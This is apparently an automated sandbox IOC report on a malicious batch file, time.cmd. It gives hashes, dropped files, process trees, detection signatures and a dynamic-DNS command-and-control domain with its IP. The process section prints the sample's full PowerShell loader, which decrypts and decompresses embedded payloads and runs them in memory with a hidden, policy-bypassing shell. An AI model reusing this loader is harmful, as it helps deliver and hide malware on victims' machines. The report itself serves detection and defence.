Automated Malware Analysis IOC Report for

Files

File Path

Type

Category

Malicious

time.cmd

ASCII text, with very long lines (58328), with CRLF line terminators

initial sample

Details

Filetype:	ASCII text, with very long lines (58328), with CRLF line terminators
Entropy:	6.091198002712793
Filename:	time.cmd
Filesize:	84117
MD5:	8b962a01cb7b585d3308701068180e39
SHA1:	56528670260aa0d4b60fbffdc7566a3654112f8d
SHA256:	582241fc0a328832d3ae8c80fd1025b7ca5fc16dd89739a6131b87e77c855651
SHA512:	56b5012d96decb4fabef930becdc35593fbc34fcc0bfde36316a07586a2ad9d605b989db87f22ba5c0757aa78417ac7c79afee29a4cd0719aac8306a2ada56e7
SSDEEP:	1536:orogwg5pVXbSClWeINO/7lP3zsY8rTVRIJ9KPhv74+bha95O:7SpgeIo/7lP3OWahc+bha95O
Preview:	cmd /c "set __=^&rem"..set "QpRY=Lo"..set "otiW=nvo"..set "jGOH=lect"..set "JdAi=byp"..set "nwjL=prof"..set "fEVFcYnhseWxtTOgOYaQ=echo function decryp"..set "AygMtQPTFOxWaaymulWp=t_function($param_va"..set "gbDfKqoQputovskHxjll=r){.$aes_var=[System"..set

\Device\ConDrv

ASCII text, with very long lines (1902), with CRLF line terminators

dropped

Details

File:	\Device\ConDrv
Category:	dropped
Dump:	ConDrv.7.dr
ID:	dr_2
Target ID:	7
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Type:	ASCII text, with very long lines (1902), with CRLF line terminators
Entropy:	5.636478412335923
Encrypted:	false
Ssdeep:	48:IJRm8RUYRxSKBDqjBRIJzDpOXkHPkdkDK84RgeJbhq23DbjAmqgG3JnxmOOLx1C7:QBN7PBGjBSVV+8u7AmKnEPLxAWc
Size:	1904
Whitelisted:	false
Reputation:	timeout

Signature Hits	Behavior Group	Mitre Attack
Yara detected Powershell decode and execute	HIPS / PFW / Operating System Protection Evasion

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

data

dropped

Details

File:	C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Category:	dropped
Dump:	ModuleAnalysisCache.7.dr
ID:	dr_3
Target ID:	7
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Type:	data
Entropy:	4.940954773740904
Encrypted:	false
Ssdeep:	192:6xoe5qpOZxoe54ib4ZVsm5emdrgkjDt4iWN3yBGHVQ9smzdcU6Cj9dcU6CG9smu9:9rib4ZIkjh4iUxsNYW6Ypib47
Size:	9713
Whitelisted:	false
Reputation:	low

Signature Hits	Behavior Group	Mitre Attack
Creates files inside the user directory	System Summary	Masquerading

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2le2y0s3.ljd.psm1

ASCII text, with no line terminators

dropped

Details

File:	C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2le2y0s3.ljd.psm1
Category:	dropped
Dump:	__PSScriptPolicyTest_2le2y0s3.ljd.psm1.7.dr
ID:	dr_1
Target ID:	7
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Type:	ASCII text, with no line terminators
Entropy:	4.038920595031593
Encrypted:	false
Ssdeep:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
Size:	60
Whitelisted:	false
Reputation:	high

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sfhuga24.pdv.ps1

ASCII text, with no line terminators

dropped

Details

File:	C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sfhuga24.pdv.ps1
Category:	dropped
Dump:	__PSScriptPolicyTest_sfhuga24.pdv.ps1.7.dr
ID:	dr_0
Target ID:	7
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Type:	ASCII text, with no line terminators
Entropy:	4.038920595031593
Encrypted:	false
Ssdeep:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
Size:	60
Whitelisted:	false
Reputation:	high

Signature Hits	Behavior Group	Mitre Attack
Creates temporary files	System Summary

Processes

Path

Cmdline

Malicious

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\time.cmd" "

Details

Is windows:	true
Is dropped:	false
PID:	7572
Target ID:	2
Parent PID:	3504
Name:	cmd.exe
Class:	cmd
Path:	C:\Windows\System32\cmd.exe
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\time.cmd" "
Size:	289792
MD5:	8A2122E8162DBEF04694B9C3E0B6CDEE
Time:	15:13:06
Date:	23/05/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff7ee920000
Modulesize:	421888
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Obfuscated command line found	Data Obfuscation	Command and Scripting Interpreter Deobfuscate/Decode Files or Information
Sigma detected: Suspicious PowerShell Parameter Substring	System Summary
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Sigma detected: Change PowerShell Policies to an Insecure Level	System Summary
Sigma detected: Gzip Archive Decode Via PowerShell	System Summary
Very long cmdline option found, this is very uncommon (may be encrypted or packed)	HIPS / PFW / Operating System Protection Evasion	Command and Scripting Interpreter
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Spawns processes	System Summary	Process Injection

C:\Windows\System32\cmd.exe

cmd /c "set __=^&rem"

Details

Is windows:	true
Is dropped:	false
PID:	7788
Target ID:	4
Parent PID:	7572
Name:	cmd.exe
Class:	cmd
Path:	C:\Windows\System32\cmd.exe
Commandline:	cmd /c "set __=^&rem"
Size:	289792
MD5:	8A2122E8162DBEF04694B9C3E0B6CDEE
Time:	15:13:07
Date:	23/05/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff7ee920000
Modulesize:	421888
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Obfuscated command line found	Data Obfuscation	Command and Scripting Interpreter Deobfuscate/Decode Files or Information
Sigma detected: Suspicious PowerShell Parameter Substring	System Summary
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Sigma detected: Change PowerShell Policies to an Insecure Level	System Summary
Sigma detected: Gzip Archive Decode Via PowerShell	System Summary
Very long cmdline option found, this is very uncommon (may be encrypted or packed)	HIPS / PFW / Operating System Protection Evasion	Command and Scripting Interpreter
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Spawns processes	System Summary	Process Injection

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('76J7bEzHtX3VLkuJZ3oCAIh8u4PXgvIrPrnTbE0uYjM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PvXjXUmyPwzlCxyLb5VMvA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WAoSC=New-Object System.IO.MemoryStream(,$param_var); $DqjpG=New-Object System.IO.MemoryStream; $gTgrK=New-Object System.IO.Compression.GZipStream($WAoSC, [IO.Compression.CompressionMode]::Decompress); $gTgrK.CopyTo($DqjpG); $gTgrK.Dispose(); $WAoSC.Dispose(); $DqjpG.Dispose(); $DqjpG.ToArray();}function execute_function($param_var,$param2_var){ $KJzOY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $SIuiX=$KJzOY.EntryPoint; $SIuiX.Invoke($null, $param2_var);}$psbhS = 'C:\Users\user\Desktop\time.cmd';$host.UI.RawUI.WindowTitle = $psbhS;$KrZUn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($psbhS).Split([Environment]::NewLine);foreach ($gGiAE in $KrZUn) { if ($gGiAE.StartsWith('zVnkucItcDIJmveRwHFJ')) { $FQbRn=$gGiAE.Substring(20); break; }}$payloads_var=[string[]]$FQbRn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "

Details

Is windows:	true
Is dropped:	false
PID:	7940
Target ID:	6
Parent PID:	7572
Name:	cmd.exe
Class:	cmd
Path:	C:\Windows\System32\cmd.exe
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('76J7bEzHtX3VLkuJZ3oCAIh8u4PXgvIrPrnTbE0uYjM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PvXjXUmyPwzlCxyLb5VMvA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $WAoSC=New-Object System.IO.MemoryStream(,$param_var); $DqjpG=New-Object System.IO.MemoryStream; $gTgrK=New-Object System.IO.Compression.GZipStream($WAoSC, [IO.Compression.CompressionMode]::Decompress); $gTgrK.CopyTo($DqjpG); $gTgrK.Dispose(); $WAoSC.Dispose(); $DqjpG.Dispose(); $DqjpG.ToArray();}function execute_function($param_var,$param2_var){ $KJzOY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $SIuiX=$KJzOY.EntryPoint; $SIuiX.Invoke($null, $param2_var);}$psbhS = 'C:\Users\user\Desktop\time.cmd';$host.UI.RawUI.WindowTitle = $psbhS;$KrZUn=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($psbhS).Split([Environment]::NewLine);foreach ($gGiAE in $KrZUn) { if ($gGiAE.StartsWith('zVnkucItcDIJmveRwHFJ')) { $FQbRn=$gGiAE.Substring(20); break; }}$payloads_var=[string[]]$FQbRn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
Size:	289792
MD5:	8A2122E8162DBEF04694B9C3E0B6CDEE
Time:	15:13:08
Date:	23/05/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff7ee920000
Modulesize:	421888
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Obfuscated command line found	Data Obfuscation	Command and Scripting Interpreter Deobfuscate/Decode Files or Information
Sigma detected: Suspicious PowerShell Parameter Substring	System Summary
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Sigma detected: Change PowerShell Policies to an Insecure Level	System Summary
Sigma detected: Gzip Archive Decode Via PowerShell	System Summary
Very long cmdline option found, this is very uncommon (may be encrypted or packed)	HIPS / PFW / Operating System Protection Evasion	Command and Scripting Interpreter
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Spawns processes	System Summary	Process Injection

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass

Details

Is windows:	true
Is dropped:	false
PID:	7948
Target ID:	7
Parent PID:	7572
Name:	powershell.exe
Class:	powershell
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
Size:	452608
MD5:	04029E121A0CFA5991749937DD22A1D9
Time:	15:13:08
Date:	23/05/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff760310000
Modulesize:	462848
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Bypasses PowerShell execution policy	HIPS / PFW / Operating System Protection Evasion	PowerShell
Sigma detected: Suspicious PowerShell Parameter Substring	System Summary
Suspicious powershell command line found	Data Obfuscation	PowerShell
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Sigma detected: Change PowerShell Policies to an Insecure Level	System Summary
Sigma detected: Non Interactive PowerShell Process Spawned	System Summary
Spawns processes	System Summary	Process Injection

C:\Windows\System32\conhost.exe

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Details

Is windows:	true
Is dropped:	false
PID:	7692
Target ID:	3
Parent PID:	7572
Name:	conhost.exe
Path:	C:\Windows\System32\conhost.exe
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Size:	862208
MD5:	0D698AF330FD17BEE3BF90011D49251D
Time:	15:13:07
Date:	23/05/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff70f010000
Modulesize:	892928
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Spawns processes	System Summary	Process Injection

Domains

Name

Malicious

x5387400.duckdns.org

12.202.180.134

Details

Name:	x5387400.duckdns.org
IP:	12.202.180.134
TargetID:	-1
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Snort IDS alert for network traffic	Networking
Uses dynamic DNS services	Networking	Application Layer Protocol
Detected TCP or UDP traffic on non-standard ports	Networking	Non-Standard Port
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol

IPs

Domain

Country

Malicious

12.202.180.134

x5387400.duckdns.org

United States

Details

IP:	12.202.180.134
TargetID:	7
Current Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Country:	United States
Countrycode:	USA
ASN number:	22983
ASN name:	FISERV-INCUS
Private:	false
Domain:	x5387400.duckdns.org

Signature Hits	Behavior Group	Mitre Attack
Snort IDS alert for network traffic	Networking
Detected TCP or UDP traffic on non-standard ports	Networking	Non-Standard Port

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

IOC Report
time.cmd

Files

Processes

Domains

IPs

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

IOC Reporttime.cmd

Files

Processes

Domains

IPs

IOC Report
time.cmd